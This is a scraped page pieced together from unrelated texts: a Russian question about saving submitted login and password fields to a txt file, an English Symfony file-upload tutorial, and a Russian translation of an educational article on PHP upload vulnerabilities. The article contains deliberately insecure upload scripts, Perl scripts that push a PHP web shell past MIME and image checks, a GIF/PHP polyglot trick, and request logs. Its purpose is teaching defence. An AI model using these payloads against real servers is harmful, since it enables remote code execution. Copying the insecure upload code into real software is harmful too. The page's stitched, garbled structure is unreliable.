Добрый день, можете помочь с этим вопросом как сохранить post запрос в *.txt файл.
Допустим есть папка в нем index.html и go.txt файл
jsfiddle пример
Какой php скрипт нужен что бы при нажатий на Отправить log и pass сохранились в txt файл?
И как назначить php скрипт в action? или нужно отдельно создать файл index.php?
- Вопрос задан более двух лет назад
- 2919 просмотров
1. Отправляем запрос на php файл (прописываем форме action параметр)
2. Принимаем POST параметры через php:
3. Записываем данные в файл

как сохранить post запрос в *.txt файл.
Какой php скрипт нужен что бы при нажатий на Отправить log и pass сохранились в txt файл?
Никакой. Просто берите нужные данные из $_POST. Но это будет очень большая уязвимость — хранить пароли в незахешированном виде.
In this video we are going to cover the POST method for File resources. This will cover the differences between a POST for any of the other resources, which is largely around how to handle a file upload as part of a form submission.
Up until now we have only covered how to send in data in JSON format to our API endpoints, but now we have to think about how a file might be sent in as well.
As ever with problems like this, there are multiple ways of addressing the problem.
The best piece of advice I can give you, I believe, is: try not to overthink this problem.
If you have ever done a form with a file upload, you have already solved this problem! It’s no different. Just because this is an API without a visible form front end doesn’t mean this works any differently to an ‘old fashioned’ form with a file / upload input :
The above example is taken from the php.net documentation. There’s an interesting piece in the example above which, if you only ever work with ‘text’y inputs, may catch you out inside your Symfony application. This is the $_FILES section. We will cover this more shortly.
Let’s take a quick look at the scenario we are covering here:
This is largely the same as any of the other scenarios we have covered so far, with one exception — the first when .
The code behind for this step is as follows:
The request is sent with the Content-Type of multipart/form-data , just like in a standard file upload.
What’s more interesting is the way we use Guzzle to attach a file to the request. If we weren’t using Guzzle, the implementation here would be different. This heavily ties out whole testing setup to Guzzle. Honestly, I am fine with this. Worrying about abstracting out the way we make requests inside our test suite is waaay beyond a concern for me.
Once Guzzle (or a real client) sends in a request, we need some way of handling that request. Enter our postAction :
Largely this looks very similar to any of the other controller actions in the system.
There is one difference though — the $parameters variable. What on Earth is going on there?
Well, as mentioned earlier, most of the time when working with forms, we aren’t handling file submissions. At least, I don’t. Most forms are data in some form, but not file data.
Couple this with the fact that if you work with Symfony’s $request object frequently, you may (almost) entirely forget about the underlying PHP $_FILES global. This leads to a situation where you may be left scratching your head as to why $request->request->all() doesn’t contain your uploaded file data. Shame face
Hopefully you will remember that Symfony’s $request object is a wrapper around all those helpful global variables.
This means we can easily get access to the uploaded file(s) via $request->files .
The problem is, our handler implementation expects these $parameters to come ready and raring to go. Therefore, before sending the $parameters off to the handler, I decided to merge the two arrays:
Moving to the FileHandler , we can see how this comes together:
We see some things we have already covered (the way we get to a result for $fileDTO , saving to the repository), and also some new things happening here.
We can create any form options we like. We’ll see how validation_groups and has_file are used shortly. For now, again, this is a way to merge any $options that are passed in to this method with the defaults. The defaults — for clarity — being set right here in the post method:
The $parameters (aka submitted form data), and $options are then sent to the form, and all the form workings that we have covered in previous videos do their magic. It’s worth a quick look at the FileType form type though:
has_file is an option I created for my own purposes, so a default value has to be set or Symfony’s form component will have a meltdown.
validation_groups is a default option though, so that’s why it’s not explicitly declared in configureOptions .
Then, inside buildForm we can check whether the $options[‘has_file’] evaluates to true or false and include or skip the inclusion of the uploadedFile form field. Remember we set has_file to true for a POST / inside the post method above.
This means we can re-use the same form whether doing a POST , PUT , or PATCH , even though PUT and PATCH don’t allow changing the uploaded file.
Interestingly though, there’s no mention of validation_groups anywhere in the form. Confusing. Well, validations live on the DTOs:
Here you can see the validation groups in action.
If the validation_groups is set to post then we must include ( NotBlank ) a File that is no greater than 100m in size ( maxSize ).
We don’t (actually, we can’t!) include a file if the validation_groups is put or patch . However, if we are doing a put or a patch then a name property is required.
This ultimately leads to $fileDTO being properly populated (or throw ing) inside the post method on our FileHandler .
Let’s quickly recap the remaining steps:
A factory is used to create a File entity from the FileDTO .
Truthfully the factory is overkill here. I just like creating factories 🙂
The next line is peculiar:
What is this uploadFilesystem and why can’t we just do a file_get_contents or similar?
Well, PHPSpec absolutely hated that. So I ended up having to create my own wrapper around the way a file is retrieved. That way I could control the interface, even if the underlying operation was essentially just a file_get_contents :
Now we can finally hand over to the FlySystem to save the file to storage. Note — storage — not disk. It might be local storage, it might be Amazon S3, or DropBox, or any of the other filesystems that FlySystem easily allows us to use.
I am using local storage during testing and system build, but have switched out to S3 in prod. Here is the config though to use local storage in different locations, depending on your environment:
And nicely, we don’t have to redeclare anything that stays the same, only the differences for any inheriting environments:
The super nice thing about this is that we can reference the local_adapter in both prod and acceptance environments without changing any code, yet saving to different locations depending on which environment you use. Awesome.
FlySystem is a joy to work with. Check out the API — super easy, super useful. To get FlySystem into Symfony easily, I am using the awesome OneUpFlySystemBundle.
One last thing before we save off to the repository:
This step is pretty critical. If you don’t do it, your file will be on disk but it won’t know which Account it belongs too. Sad panda.
This is perhaps one of the most mind bending parts of Symfony (well, Doctrine) so if you don’t understand this, then watch this video series.
We’ve already covered off saving to the repository, and what happens after that, so I will leave this here. Be sure to watch the previous videos in this series — if you haven’t already — to understand the parts not touched on in this write up.
В данной статье демонстрируются основные уязвимости веб-приложений по загрузке файлов на сервер и способы их избежать. В статье приведены самые азы, в врят-ли она будет интересна профессионалам. Но тем неменее — это должен знать каждый PHP-разработчик.
Различные веб-приложения позволяют пользователям загружать файлы. Форумы позволяют пользователям загружать «аватары». Фотогалереи позволяют загружать фотографии. Социальные сети предоставляют возможности по загрузке изображений, видео, и т.д. Блоги позволяют загружать опять же аватарки и/или изображения.
Часто загрузка файлов без обеспечения надлежащего контроля безопасности приводит к образованию уязвимостей, которые, как показывает практика, стали настоящей проблемой в веб-приложениях на PHP.
Проводимые тесты показали, что многие веб-приложения имеют множество проблем с безопасностью. Эти «дыры» предоставляют злоумышленникам обширные возможности совершать несанкционированные действия, начиная с просмотра любого файла на сервере и закачивания выполнением произвольного кода. Эта статья рассказывает об основных «дырах» безопасности и способах их избежать.
Код примеров, приведенных в этой статье, могут быть загружены по адресу:
www.scanit.be/uploads/php-file-upload-examples.zip.
Если Вы хотите их использовать, пожалуйста удостоверьтесь, что сервер, который Вы используете, не доступен из Интернета или любых других публичных сетей. Примеры демонстрируют различные уязвимости, выполнение которых на доступном извне сервере может привести к опасным последствиям.
Загрузка файлов, обычно состоит из двух независимых функций – принятие файлов от пользователя и показа файлов пользователю. Обе части могут быть источником уязвимостей. Давайте рассмотрим следующий код (upload1.php):
‘uploads/’ ; // Relative path under webroot
$uploadfile = $uploaddir . basename($_FILES[ ‘userfile’ ][ ‘name’ ]);
if (move_uploaded_file($_FILES[ ‘userfile’ ][ ‘tmp_name’ ], $uploadfile)) <
echo "File is valid, and was successfully uploaded.
" ;
> else <
echo "File uploading failed.
" ;
>
?>
* This source code was highlighted with Source Code Highlighter .
Обычно пользователи будут загружать файлы, используя подобную форму:
form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >
Select the file to upload: input type ="file" name ="userfile" >
input type ="submit" name ="upload" value ="upload" >
form >
* This source code was highlighted with Source Code Highlighter .
Злоумышленник данную форму использовать не будет. Он может написать небольшой Perl-скрипт (возможно на любом языке – прим. преводчика), который будет эмулировать действия пользователя по загрузке файлов, дабы изменить отправляемые данные на свое усмотрение.
В данном случае загрузка содержит большую дыру безопасности: upload1.php позволяет пользователям загружать произвольные файлы в корень сайта. Злоумышленник может загрузить PHP-файл, который позволяет выполнять произвольные команды оболочки на сервере с привилегией процесса веб-сервера. Такой скрипт называется PHP-Shell. Вот самый простой пример подобного скрипта:
Если этот скрипт находится на сервере, то можно выполнить любую команду через запрос:
server/shell.php?command=any_Unix_shell_command
Более продвинутые PHP-shell могут быть найдены в Интернете. Они могут загружать произвольные файлы, выполнять запросы SQL, и т.д.
Исходник Perl, показанный ниже, загружает PHP-Shell на сервер, используя upload1.php:
#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent-> new ;
$res = $ua->request(POST ‘http://localhost/upload1.php’ ,
Content_Type => ‘form-data’ ,
Content => [userfile => [ "shell.php" , "shell.php" ],],);
print $res->as_string();
* This source code was highlighted with Source Code Highlighter .
Этот скрипт использует libwwwperl, который является удобной библиотекой Perl, эмулирующей HTTP-клиента.
И вот что случится при выполнении этого скрипта:
POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Length: 156
Content-Type: multipart/form-data; boundary=xYzZY
—xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain—xYzZY—
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.
После того, как мы загрузили shell-скрипт, можно спокойно выполнить команду:
cURL – command-line клиент HTTP, доступный на Unix и Windows. Это очень полезный инструмент для того, чтобы проверить веб-приложения. cURL может быть загружен от curl.haxx.se
Приведенный выше пример редко когда имеет место. В большинстве случаев программисты используют простые проверки, чтобы пользователи загружали файлы строго определенного типа. Например, используя заголовок Content-Type:
Пример 2 (upload2.php):
if ($_FILES[ ‘userfile’ ][ ‘type’ ] != "image/gif" ) <
echo "Sorry, we only allow uploading GIF images" ;
exit;
>
$uploaddir = ‘uploads/’ ;
$uploadfile = $uploaddir . basename($_FILES[ ‘userfile’ ][ ‘name’ ]);
if (move_uploaded_file($_FILES[ ‘userfile’ ][ ‘tmp_name’ ], $uploadfile)) <
echo "File is valid, and was successfully uploaded.
" ;
> else <
echo "File uploading failed.
" ;
>
?>
* This source code was highlighted with Source Code Highlighter .
В этом случае, если злоумышленник только попытается загрузить shell.php, наш код будет проверять MIME-тип загружаемого файла в запросе и отсеивать ненужное.
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
—xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain—xYzZY—
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41
Connection: close
Content-Type: text/html
Sorry, we only allow uploading GIF images
Пока неплохо. К сожалению, есть способ обойти эту защиту, потому что проверяемый MIME-тип приходит вместе с запросом. В запросе выше он установлен как «text/plain» (его устанавливает браузер – прим. переводчика). Ничего не мешает злоумышленнику установить его в «image/gif», поскольку с помощью эмуляции клиента он полностью управляет запросом, который посылает (upload2.pl):
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent-> new ;;
$res = $ua->request(POST ‘http://localhost/upload2.php’ ,
Content_Type => ‘form-data’ ,
Content => [userfile => [ "shell.php" , "shell.php" , "Content-Type" => "image/gif" ],],);
* This source code was highlighted with Source Code Highlighter .
И вот что получится.
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
—xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif—xYzZY—
В итоге, наш upload2.pl подделывает заголовок Content-Type, заставляя сервер принять файл.
Вместо того, чтобы доверять заголовку Content-Type, разработчик PHP мог бы проверять фактическое содержание загруженного файла, чтобы удостовериться, что это действительно изображение. Функция PHP getimagesize() часто используется для этого. Она берет имя файла как аргумент и возвращает массив размеров и типа изображения. Рассмотрим пример upload3.php ниже.
$uploaddir = ‘uploads/’ ;
$uploadfile = $uploaddir . basename($_FILES[ ‘userfile’ ][ ‘name’ ]);
if (move_uploaded_file($_FILES[ ‘userfile’ ][ ‘tmp_name’ ], $uploadfile)) <
echo "File is valid, and was successfully uploaded.
" ;
> else <
echo "File uploading failed.
" ;
>
?>
* This source code was highlighted with Source Code Highlighter .
Теперь, если нападавший попытается загрузить shell.php, даже если он установит заголовок Content-Type в «image/gif», то upload3.php все равно выдаст ошибку.
POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
—xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif—xYzZY—
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images
Можно подумать, что теперь мы можем пребывать в уверенности, что будут загружаться только файлы GIF или JPEG. К сожалению, это не так. Файл может быть действительно в формате GIF или JPEG, и в то же время PHP-скриптом. Большинство форматов изображения позволяет внести в изображение текстовые метаданные. Возможно создать совершенно корректное изображение, которое содержит некоторый код PHP в этих метаданных. Когда getimagesize() смотрит на файл, он воспримет это как корректный GIF или JPEG. Когда транслятор PHP смотрит на файл, он видит выполнимый код PHP в некотором двоичном «мусоре», который будет игнорирован. Типовой файл, названный crocus.gif содержится в примере (см. начало статьи). Подобное изображение может быть создано в любом графическом редакторе.
Итак, создадим perl-скрипт для загрузки нашей картинки:
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent-> new ;;
$res = $ua->request(POST ‘http://localhost/upload3.php’ ,
Content_Type => ‘form-data’ ,
Content => [userfile => [ "crocus.gif" , "crocus.php" , "Content-Type" => "image/gif" ], ],);
* This source code was highlighted with Source Code Highlighter .
Этот код берет файл crocus.gif и загружает это с названием crocus.php. Выполнение приведет к следующему:
POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
—xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif
GIF89a(. some binary data. ) (. skipping the rest of binary data . )
—xYzZY—
Теперь нападавший может выполнить uploads/crocus.php и получить следущее:

Как видно, транслятор PHP игнорирует двоичные данные в начале изображения и выполняет последовательность " " в комментарии GIF.
Читатель этой статьи мог бы задаться вопросом, почему мы просто не проверяем расширение загруженного файла? Если мы не позволим загружать файлы *.php, то сервер никогда не сможет выполнить этот файл как скрипт. Давайте рассмотрим и этот подход.
Мы можем сделать черный список расширений файла и проверить имя загружаемого файла, игнорируя загрузку файла с выполняемыми расширениями (upload4.php):
".php" , ".phtml" , ".php3" , ".php4" );
foreach ($blacklist as $item) <
if (preg_match( "/$item$/i" , $_FILES[ ‘userfile’ ][ ‘name’ ])) <
echo "We do not allow uploading PHP files
" ;
exit;
>
>
$uploaddir = ‘uploads/’ ;
$uploadfile = $uploaddir . basename($_FILES[ ‘userfile’ ][ ‘name’ ]);
if (move_uploaded_file($_FILES[ ‘userfile’ ][ ‘tmp_name’ ], $uploadfile)) <
echo "File is valid, and was successfully uploaded.
" ;
> else <
echo "File uploading failed.
" ;
>
?>
* This source code was highlighted with Source Code Highlighter .
Выражение preg_match ("/$item$/i", $_FILES[‘userfile’][‘name’]) соответствует имени файла, определенному пользователем в массиве черного списка. Модификатор «i» говорит, что наше выражение регистронезависимое. Если расширение файла соответствует одному из пунктов в черном списке, файл загружен не будет.
Если мы пытаемся загрузить файл c расширением .php, это приведет к ошибке:
POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
—xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif
GIF89(. skipping binary data. )
—xYzZY—
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 36
Connection: close
Content-Type: text/html
We do not allow uploading PHP files
Если мы загружаем файл с расширением .gif, то оно будет загружено:
POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
—xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"
Content-Type: image/gif
GIF89(. skipping binary data. )
—xYzZY—
Теперь, если мы запросим загруженный файл, то он не будет выполнен сервером:

Комментарии переводчика:
В случае загрузки картинок самым лучшим способом являются не указанные действия, а сохранение файла с расширением, которое получается в результате выполнения функции getimagesize(). В большинстве случаев именно так и происходит. Стоит добавить, что желательно сделать приведение файла к конкретному формату, например jpeg. При приведении метаданные картинки (насколько мне известно) потеряются, обеспечив практически гарантируемую безопастность.
Наличие в загрузке файлов с расширением типа .php нужно проверять вообще в начале работы сайта, и если они есть сразу же их отбрасывать.





